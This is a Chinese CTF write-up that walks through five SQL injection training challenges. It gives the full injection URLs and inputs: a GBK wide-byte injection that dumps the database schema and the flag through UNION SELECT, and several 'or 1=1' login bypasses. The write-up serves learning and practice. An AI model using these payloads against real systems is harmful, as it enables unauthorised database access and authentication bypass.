为了参加不久后的国内CTF比赛,小白兔进行了各种备战,进行了许多CTF题目的练习。后来在南邮的训练平台上做题,感觉收获颇多,尤其是在sql注入题目上。因此特地在这里记录下来,留给后来人借鉴。
题目一:MYSQL
题目地址:MYSQL
刚进题目页面就是一句提示:
于是按照提示进入/web11/robots.txt看看有什么名堂:
可以捕获几个信息:
1.可注入的文件是sql.php
2.注入的参数是id
3.基本没有防注入设置
因此这个题目不难,大概的意思是你要从id=1024的数据库记录中提出flag数据,但是程序会在id不等于1024时打印你查询出来的东西(没错这是矛盾的)。解题的关键在intval()这个函数,这个函数的作用是把参数自动转换成整数(int)。那就很简单了,我们使id=1024.5,这样经过函数转换后$id变成1024,查到flag,然后由于id不等于1024,再打印出flag。构造语句:
http://chinalover.sinaapp.com/web11/sql.php?id=1024.5
题目二:sql injection 3
题目地址:sql injection 3
这是个很好的题目!进入题目界面:
sql查询的语句直接展示给你了,把id改成2查看一下:
当id=3的时候,查询出的也是个无关痛痒的东西,当id大于3后,就不显示了,说明数据库里只有3条记录,尝试加个单引号(’)注入试试:
我先试了一下url编码,发现无法绕过,然后突然想起当id=2时的信息:gbk_sql_injection,猜测这里存在宽字节注入漏洞,这个漏洞很有趣,可以利用编码漏洞吃掉一个反斜杠(\): 宽字节漏洞详解。构造语句尝试宽字节注入:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 1=1#
发现已经注入成功了,反斜杠被吃掉了,但是有个问题,使用#注释掉尾部的单引号时时似乎被过滤了,于是用编码绕过一下,发现成功了:
OK,注入点确定后开始构造语句进行注入:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,2%23
知道回显位置后可以用手工注入慢慢注,不过我比较懒,直接使用土耳其暴库法直接爆出数据库:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D)+from+information_schema.columns%23
有了数据库名,转为16进制以后继续暴处表名,构造语句:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D)+from+information_schema.columns+where+table_schema=0x7361652d6368696e616c6f766572%23
爆出表名后,就一个个去试了,我一个个去试过了,前3个表都没什么信息,不过表ctf4就有东西,构造语句:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D)+from+information_schema.columns+where+table_name=0x63746634%23
最后一步了,直接构造查询语句得到我们想要的flag:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,flag from ctf4 limit 1%23
总的来说,这个题目不仅考察了手工注入的能力,还涉及到了字符编码绕过和宽字节注入漏洞,真的是个很不错的题目。
题目三:SQL注入1
题目地址:SQL注入1
进入题目界面,发现是一个登陆框,而且大方地把源码地址给你:
查看源码进行分析,发现对参数进行处理的只有trim()函数,该函数的作用是除去字符串前后的空格(也就是毫无卵用):
那这个题目就毫无难度了,根据语句构造万能密码绕过:
user=admin"') or 1=1 #--&pass=1
题目四:sql injection 4
提米地址:sql injection 4
进入页面发现啥也米有,于是点开页面源码发现了隐藏的信息:
这个题目坑的是,我一开始以为过滤函数有俩:htmlentities()和stripslashes(),前面那个函数的作用很复杂,具体的看:htmlentities函数详解,在这里是过滤单引号(‘)和双引号的(“),后面的那个函数是删除反斜杠的(\)的。然后我想了半天,这三个全给过滤了咋搞啊,最后我才发现stripslashes()这个函数在if里面,根本不执行!坑死兔子了,吐着血构造语句:
http://chinalover.sinaapp.com/web15/index.php?username=\&password=or 1=1%23
这样构造是因为原来的sq查询语句就变成了:
SELECT * FROM users WHERE name='\' AND pass='or 1=1#';
由于\把’转义了,所以name等于(‘ AND pass=),然后pass可以直接注入语句,结果如下:
题目五:SQL注入2
题目地址:SQL注入2
进入SQL注入2的界面发现跟SQL注入1的界面一毛一样,看来作者是真的懒得做页面,那肯定查看源码也能得到情报了:
既然题目提示用union,我思考了一下确实用union最简单,算是考察对union的理解了,这个关键字等于是将上表与下表连接起来,如果上表为空,那么结果直接为下表。以此为思路看这个题目,没有任何过滤,那么我们可以使上表查询为空,下表构造成一个我们已知的值,那么查询的结果就是我们构造的值:
发现失败了,检查了一下发现对参数pass进行md5转码了,重新构造语句:
user=kk' union select md5(1)#&pass=1
总结
南邮的题目还是很适合入门的,一套做下来还是收获颇多,希望这周的比赛能拿个好成绩,等比赛结束后会将南邮的两个综合题做个详细的解题过程给大家。